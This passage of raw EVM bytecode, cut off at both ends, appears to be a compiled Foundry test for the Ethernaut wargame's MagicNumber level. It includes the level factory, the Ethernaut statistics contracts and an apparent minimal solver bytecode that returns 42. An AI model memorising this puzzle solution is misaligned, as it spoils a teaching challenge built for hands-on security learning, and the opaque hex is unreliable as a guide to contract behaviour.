6906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001b46565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b50602154604051631f87943360e01b81526001600160a01b038084166004830152929350911690631f879433906024015f604051808303815f87803b15801562001167575f80fd5b505af11580156200117a573d5f803e3d5ffd5b5050602054602154620011a79350620011a192506001600160a01b03918216911662001498565b62001a66565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620011ed9062002396565b80601f01602080910402602001604051908101604052809291908181526020018280546200121b9062002396565b80156200126a5780601f1062001240576101008083540402835291602001916200126a565b820191905f5260205f20905b8154815290600101906020018083116200124c57829003601f168201915b505050505081526020019060010190620011cd565b5f806040516200128f9062001b53565b604051809103905ff080158015620012a9573d5f803e3d5ffd5b5090505f604051620012bb9062001b61565b604051809103905ff080158015620012d5573d5f803e3d5ffd5b508483604051620012e69062001b6f565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001320573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200137f575f80fd5b505af115801562001392573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200147f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200142b5790505b50505050508152505081526020019060010190620013c1565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620014f4575f80fd5b505af115801562001507573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001565575f80fd5b505af115801562001578573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015dc573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016059190810190620020aa565b90506001815111156200161d57600191505062001622565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200166b9062002396565b80601f0160208091040260200160405190810160405280929190818152602001828054620016999062002396565b8015620016e85780601f10620016be57610100808354040283529160200191620016e8565b820191905f5260205f20905b815481529060010190602001808311620016ca57829003601f168201915b5050505050815260200190600101906200164b565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001754575f80fd5b505af115801562001767573d5f803e3d5ffd5b505050505f6040516200177a9062001b7d565b604051809103905ff08015801562001794573d5f803e3d5ffd5b50602154604051631f87943360e01b81526001600160a01b038084166004830152929350911690631f879433906024015f604051808303815f87803b158015620017dc575f80fd5b505af1158015620017ef573d5f803e3d5ffd5b5050602054602154620011a793506200181692506001600160a01b03918216911662001498565b62001ae5565b6008545f9060ff161562001834575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018c3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018e99190620023ee565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f6200195d824362002406565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a1b90869086906004016200241c565b5f60405180830381865afa15801562001a36573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a5f91908101906200244d565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001acb575f80fd5b505afa15801562001ade573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ab4565b610664806200248483390190565b60238062002ae883390190565b610ae58062002b0b83390190565b611e7a80620035f083390190565b610daa806200546a83390190565b60ab806200621483390190565b6001600160a01b0381168114620011a7575f80fd5b5f805f6060848603121562001bb2575f80fd5b833562001bbf8162001b8a565b9250602084013562001bd18162001b8a565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c245783516001600160a01b03168352928401929184019160010162001bfd565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c6a5762001c6a62001c30565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c9c5762001c9c62001c30565b604052919050565b5f67ffffffffffffffff82111562001cc05762001cc062001c30565b50601f01601f191660200190565b5f6020828403121562001cdf575f80fd5b813567ffffffffffffffff81111562001cf6575f80fd5b8201601f8101841362001d07575f80fd5b803562001d1e62001d188262001ca4565b62001c70565b81815285602083850101111562001d33575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d6c57818101518382015260200162001d52565b50505f910152565b5f815180845262001d8d81602086016020860162001d50565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e5557603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e3e57605f1988850301835262001e2b84865162001d74565b948d01949350918c019160010162001e0c565b505050968901969350509087019060010162001dc6565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f2357888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f0d5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001ec9565b5096890196945050509086019060010162001e8b565b509098975050505050505050565b5f6020828403121562001f42575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001fa257603f1988860301845262001f8f85835162001d74565b9450928501929085019060010162001f70565b5092979650505050505050565b5f6020828403121562001fc0575f80fd5b813562001a5f8162001b8a565b5f806040838503121562001fdf575f80fd5b823562001fec8162001b8a565b9150602083013562001ffe8162001b8a565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002039576200203962001c30565b5060051b60200190565b5f6200205362001d188462001ca4565b905082815283838301111562002067575f80fd5b62001a5f83602083018462001d50565b5f82601f83011262002087575f80fd5b62001a5f8383516020850162002043565b8051620020a58162001b8a565b919050565b5f6020808385031215620020bc575f80fd5b825167ffffffffffffffff80821115620020d4575f80fd5b818501915085601f830112620020e8575f80fd5b8151620020f962001d18826200201d565b81815260059190911b8301840190848101908883111562002118575f80fd5b8585015b83811015620022195780518581111562002134575f80fd5b86016060818c03601f190112156200214a575f80fd5b6200215462001c44565b888201518781111562002165575f80fd5b8201603f81018d1362002176575f80fd5b898101516200218962001d18826200201d565b81815260059190911b8201604001908b8101908f831115620021a9575f80fd5b6040840193505b82841015620021cb5783518252928c0192908c0190620021b0565b8452505050604082015187811115620021e2575f80fd5b620021f28d8b8386010162002077565b8a83015250620022056060830162002098565b60408201528452509186019186016200211c565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562001622576200162262002226565b5f6020828403121562002261575f80fd5b815167ffffffffffffffff81111562002278575f80fd5b8201601f8101841362002289575f80fd5b6200229a8482516020840162002043565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022db81600585016020880162001d50565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200231a81600a84016020880162001d50565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200236381846020880162001d50565b8351908301906200237981836020880162001d50565b01949350505050565b602081525f62001a5f602083018462001d74565b600181811c90821680620023ab57607f821691505b602082108103620023ca57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023e1575f80fd5b815162001a5f8162001b8a565b5f60208284031215620023ff575f80fd5b5051919050565b8082018082111562001622576200162262002226565b604081525f62002430604083018562001d74565b828103602084015262002444818562001d74565b95945050505050565b5f602082840312156200245e575f80fd5b815167ffffffffffffffff81111562002475575f80fd5b6200229a848285016200207756fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105ea8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b6100856100803660046103c6565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d83660046103e8565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b506100706101073660046103c6565b610250565b6101146102e5565b61011d5f61033e565b565b5f60405161012c906103a5565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f808390505f816001600160a01b03166349a7a26d6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b2919061041f565b90505f816001600160a01b031663650500c16040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101f1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610215919061043a565b9050602a811461022a575f935050505061024a565b813b600a811115610241575f94505050505061024a565b60019450505050505b92915050565b6102586102e5565b6001600160a01b0381166102d95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102e28161033e565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102d0565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101638061045283390190565b6001600160a01b03811681146102e2575f80fd5b5f602082840312156103d6575f80fd5b81356103e1816103b2565b9392505050565b5f80604083850312156103f9575f80fd5b8235610404816103b2565b91506020830135610414816103b2565b809150509250929050565b5f6020828403121561042f575f80fd5b81516103e1816103b2565b5f6020828403121561044a575f80fd5b505191905056fe608060405234801561000f575f80fd5b506101468061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631f8794331461003857806349a7a26d1461008e575b5f80fd5b61008c6100463660046100d6565b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f546100ad9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b5f602082840312156100e6575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610109575f80fd5b939250505056fea26469706673582212201ed06ae2b264afa979c4761c62a56c8d7bb1d4bd17fe273eef4cdeb2c5e4c66264736f6c63430008180033a26469706673582212203f3b7328b9d76acb72a9f55c37382d97bff11ac7c6a6e8d4fb65226cd7b8b18764736f6c634300081800336080604052348015600e575f80fd5b5069602a60005260206000f35f52600a6016f3fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c8352